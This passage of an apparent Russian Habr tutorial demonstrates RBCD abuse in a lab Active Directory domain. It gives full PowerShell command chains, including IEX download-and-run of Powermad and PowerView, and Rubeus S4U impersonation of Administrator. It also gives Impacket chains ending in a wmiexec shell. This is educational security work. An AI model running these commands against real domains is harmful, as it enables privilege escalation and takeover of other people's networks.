\u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c. \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>ms-DS-MachineAccountQuota<\/code>, \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0432\u043d\u043e\u0435 10, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432, \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043e\u0431\u044b\u0447\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e. \u042d\u0442\u0438\u043c \u0438 \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 Powermad.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">Get-ADObject -Identity \"DC=tinycorp,DC=net\" -Properties * | select ms-ds-machineAccountQuota IEX(New-Object Net.WebClient).DownloadString(\"https:\/\/github.com\/Kevin-Robertson\/Powermad\/raw\/master\/Powermad.ps1\") New-MachineAccount -MachineAccount AngaraMachine -Password $(ConvertTo-SecureString \"Passw0rdMach1ne\" -AsPlainText -Force) -Verbose<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7db\/f1d\/d1a\/7dbf1dd1a34ac4f5c28c8b98ef332dc7.png\" alt=\"\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Windows)\" title=\"\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Windows)\" width=\"1109\" height=\"701\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7db\/f1d\/d1a\/7dbf1dd1a34ac4f5c28c8b98ef332dc7.png\"\/><figcaption>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Windows)<\/figcaption><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 <code>TINYCORP\\AngaraMachine$<\/code>, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043a\u0440\u0430\u0444\u0442\u0438\u0442\u044c \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 DACL, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f (<strong>Allow<\/strong>) <code>AngaraMachine$<\/code>, \u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u0442\u044c \u0435\u0433\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>MOSCOW<\/code>. \u0421\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PowerView, \u0435\u0441\u043b\u0438 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c ActiveDirectory.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">IEX(New-Object Net.WebClient).DownloadString(\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/raw\/dev\/Recon\/PowerView.ps1\") Get-DomainObjectAcl -Identity MOSCOW -ResolveGUIDs | ? {$_.ObjectAceType -eq \"ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity\" -and $_.SecurityIdentifier -eq \"S-1-5-21-1230029644-1443616230-1161330039-2187\"} $ComputerSid = Get-DomainComputer AngaraMachine -Properties ObjectSid -Verbose | Select -Expand ObjectSid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))\" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer MOSCOW -Verbose | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose Get-ADComputer MOSCOW -Properties * | select -Expand msds-allowedToActOnBehalfOfOtherIdentity Get-ADComputer MOSCOW -Properties * | select DistinguishedName,Name,SID,sAMAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity | fc -Depth 1<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/29f\/8ec\/bc0\/29f8ecbc0e8c9e5e0487269f90949264.png\" alt=\"\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Windows)\" title=\"\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Windows)\" width=\"1131\" height=\"1030\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/29f\/8ec\/bc0\/29f8ecbc0e8c9e5e0487269f90949264.png\"\/><figcaption>\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Windows)<\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bd0\/bb5\/39f\/bd0bb539f0db4a2b22f462fae600634c.png\" alt=\"\u0421\u043c\u043e\u0442\u0440\u0438\u043c DACL \u0432\u043d\u0443\u0442\u0440\u0438 msDS-AllowedToActOnBehalfOfOtherIdentity\" title=\"\u0421\u043c\u043e\u0442\u0440\u0438\u043c DACL \u0432\u043d\u0443\u0442\u0440\u0438 msDS-AllowedToActOnBehalfOfOtherIdentity\" width=\"802\" height=\"668\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bd0\/bb5\/39f\/bd0bb539f0db4a2b22f462fae600634c.png\"\/><figcaption>\u0421\u043c\u043e\u0442\u0440\u0438\u043c DACL \u0432\u043d\u0443\u0442\u0440\u0438 msDS-AllowedToActOnBehalfOfOtherIdentity<\/figcaption><\/figure>\n<p>\u041d\u0443 \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c Rubeus \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a\u0438 S4U, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439, \u043a\u0430\u043a \u0431\u044b\u043b\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0440\u0430\u043d\u044c\u0448\u0435, \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b S4U2self &amp; S4U2proxy \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f TGS-\u0431\u0438\u043b\u0435\u0442\u0430 Kerberos \u0438 \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0423\u0417 <code>TINYCORP\\Administrator<\/code> \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0441\u043b\u0443\u0436\u0431 HOST \u0438 HTTP (\u0446\u0435\u043b\u0438\u043c\u0441\u044f \u0432 WinRM) \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 <code>MOSCOW<\/code>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">wget https:\/\/github.com\/Flangvik\/SharpCollection\/raw\/master\/NetFramework_4.0_Any\/Rubeus.exe -o Rubeus.exe .\\Rubeus.exe hash \/password:Passw0rdMach1ne .\\Rubeus.exe s4u \/user:AngaraMachine$ \/rc4:1A4C60A12EFCAA9984543C5F759D3CFD \/impersonateuser:administrator \/msdsspn:host\/MOSCOW.tinycorp.net \/altservice:http \/nowrap \/createnetonly:C:\\Windows\\System32\\cmd.exe \/show powershell Enter-PSSession MOSCOW.tinycorp.net<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2cb\/ead\/814\/2cbead814fcbfaa45c3539678e1a261d.png\" alt=\"\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Windows)\" title=\"\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Windows)\" width=\"1838\" height=\"1241\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2cb\/ead\/814\/2cbead814fcbfaa45c3539678e1a261d.png\"\/><figcaption>\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Windows)<\/figcaption><\/figure>\n<p>\u0415\u0441\u043b\u0438 \u043b\u0435\u043d\u044c \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0441\u0435 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <a href=\"https:\/\/github.com\/ZeroDayLab\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1\">\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u043e\u0440\u043a\u043e\u043c PowerView<\/a>, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442 <code>Set-DomainRBCD<\/code>, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0448\u0435. \u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"https:\/\/snovvcrash.rocks\/2021\/08\/07\/htb-rpg.html#rbcd-from-windows\">\u0432 \u043c\u043e\u0435\u043c \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0438<\/a> \u0434\u0440\u0443\u0433\u043e\u0439 \u043b\u0430\u0431\u044b <a href=\"https:\/\/www.hackthebox.com\/home\/endgame\/view\/4\">RPG<\/a> \u0441 Hack The Box.<\/p>\n<h4>2.2 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f RBCD Abuse \u0441 Linux<\/h4>\n<p>\u0422\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u0435\u0433\u043a\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043e \u0441 Linux-\u0445\u043e\u0441\u0442\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043e\u043b\u043b\u0435\u043a\u0446\u0438\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">Impacket<\/a>. \u041f\u043e\u043a\u0430\u0436\u0435\u043c \u044d\u0442\u043e.<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/addcomputer.py\">addcomputer.py<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">cme ldap 172.22.0.2-3 -u AngaraUser -p 'Passw0rdUs3r!' cme ldap 172.22.0.2 -u AngaraUser -p 'Passw0rdUs3r!' -M MAQ findDelegation.py tinycorp.net\/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2 addcomputer.py -computer-name AngaraMachine -computer-pass 'Passw0rdMach1ne' -dc-ip 172.22.0.2 tinycorp.net\/AngaraUser:'Passw0rdUs3r!'<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8d8\/e30\/1a8\/8d8e301a811bf124f9e323d31e0f8b75.png\" alt=\"\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Linux)\" title=\"\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Linux)\" width=\"1270\" height=\"1105\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8d8\/e30\/1a8\/8d8e301a811bf124f9e323d31e0f8b75.png\"\/><figcaption>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Linux)<\/figcaption><\/figure>\n<p>\u041d\u0430\u0432\u0435\u0448\u0438\u0432\u0430\u0435\u043c \u0435\u0435 \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0439 \u0445\u043e\u0441\u0442 <code>MOSCOW<\/code>, \u043a\u0430\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u0443\u044e \u0434\u043b\u044f \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f S4U \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/rbcd.py\">rbcd.py<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">rbcd.py -delegate-from 'AngaraMachine$' -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action write tinycorp.net\/AngaraUser:'Passw0rdUs3r!' rbcd.py -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action read tinycorp.net\/AngaraUser:'Passw0rdUs3r!' findDelegation.py tinycorp.net\/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/27f\/607\/3b1\/27f6073b18a83e1d3352e4ceb5a49319.png\" alt=\"\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Linux)\" title=\"\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Linux)\" width=\"1220\" height=\"405\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/27f\/607\/3b1\/27f6073b18a83e1d3352e4ceb5a49319.png\"\/><figcaption>\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Linux)<\/figcaption><\/figure>\n<p>\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0442\u0438\u043a\u0435\u0442 \u0441 \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0441\u043b\u0443\u0436\u0431\u044b CIFS (\u0446\u0435\u043b\u0438\u043c\u0441\u044f \u0432 DCE\/RPC) \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 <code>MOSCOW<\/code> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getST.py\">getST.py<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">getST.py -spn cifs\/MOSCOW tinycorp.net\/AngaraMachine:'Passw0rdMach1ne' -dc-ip 172.22.0.2 -impersonate administrator KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass MOSCOW -shell-type powershell<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/84a\/268\/9e4\/84a2689e4c02287975f6cbf510ac2c8d.png\" alt=\"\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Linux)\" title=\"\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Linux)\" width=\"1076\" height=\"960\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/84a\/268\/9e4\/84a2689e4c02287975f6cbf510ac2c8d.png\"\/><figcaption>\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Linux)<\/figcaption><\/figure>\n<p>\u042d\u0442\u043e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0442\u044c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c RBCD \u00ab\u0432 \u043b\u043e\u0431\u00bb. \u0412 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u0442\u0430\u043a\u043e\u0435 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u043c\u0443\u0442\u0438\u0440\u0443\u0435\u0442, \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u0432 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u2014 \u043e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0434\u043b\u044f LPE (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u043e\u0432\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0439 Kerberos Relay) \u0434\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043c\u0430\u043d\u0434 (\u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0438 \u043e\u0431 \u044d\u0442\u043e\u043c <a href=\"https:\/\/habr.com\/ru\/post\/594923\/\">\u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>).<\/p>\n<details class=\"spoiler\">\n<summary>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u0438\u0432\u043e \u043f\u043e \u0442\u0435\u043c\u0435<\/summary>\n<div class=\"spoiler__content\">\n<ul>\n<li>\n<p><a href=\"https:\/\/harmj0y.medium.com\/s4u2pwnage-36efe1a2777c\">S4U2Pwnage | by Will Schroeder | Medium<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html\">Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory | Shenanigans Labs<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/posts.specterops.io\/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783\">A Case Study in Wagging the Dog: Computer Takeover | by Will Schroeder | Posts By SpecterOps Team Members<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/sensepost.com\/blog\/2020\/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd\/\">SensePost | Chaining multiple techniques and tools for domain takeover using rbcd<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/cve-2020-17049-kerberos-bronze-bit-theory\/\">CVE-2020-17049: Kerberos Bronze Bit Attack &#8212; Theory<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/cve-2020-17049-kerberos-bronze-bit-attack\/\">CVE-2020-17049: Kerberos Bronze Bit Attack &#8212; Practical Exploitation<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/delegate-2-thyself.html\">eXploit \u2013 Delegate 2 Thyself<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/revisiting-delegate-2-thyself.html\">eXploit \u2013 Revisiting &#8216;Delegate 2 Thyself&#8217;<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.praetorian.com\/blog\/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2\/\">Red Team Privilege Escalation &#8212; RBCD Based Privilege Escalation &#8212; Praetorian<\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/details>\n<h3>3. \u0410\u0442\u0430\u043a\u0443\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 RBCD \u0431\u0435\u0437 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0423\u0417<\/h3>\n<p>\u00ab\u0418\u0442\u0430\u043a, \u0430 \u0432 \u0447\u0435\u043c \u0436\u0435 \u043d\u043e\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, snovvcrash?\u00bb \u2014 \u0441\u043f\u0440\u043e\u0441\u0438\u0442\u0435 \u0432\u044b.<\/p>\n<p>\u0422\u0430\u043a \u0432\u043e\u0442. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u043d\u0430\u0437\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b Google Project Zero \u0414\u0436\u0435\u0439\u043c\u0441 \u0424\u043e\u0440\u0448\u043e\u0443 \u0432 \u0442\u0440\u0435\u0434\u0435 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0433\u043e \u043d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 Microsoft \u0432 \u0422\u0432\u0438\u0442\u0442\u0435\u0440\u0435 <a href=\"https:\/\/twitter.com\/tiraniddo\/status\/1524452662300737538?s=20&amp;t=rEoUJVz-vgHfWaPRrN2jFA\">\u0432\u044b\u0434\u0432\u0438\u043d\u0443\u043b<\/a> \u043f\u043e\u0438\u0441\u0442\u0438\u043d\u0435 \u0433\u0435\u043d\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0430\u043c \u043f\u043e \u0441\u0443\u0442\u0438-\u0442\u043e \u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430 <strong>\u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f<\/strong> \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0434\u043b\u044f \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u2014 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0445\u0432\u0430\u0442\u0438\u0442 \u0438 \u0443\u0447\u0435\u0442\u043a\u0438 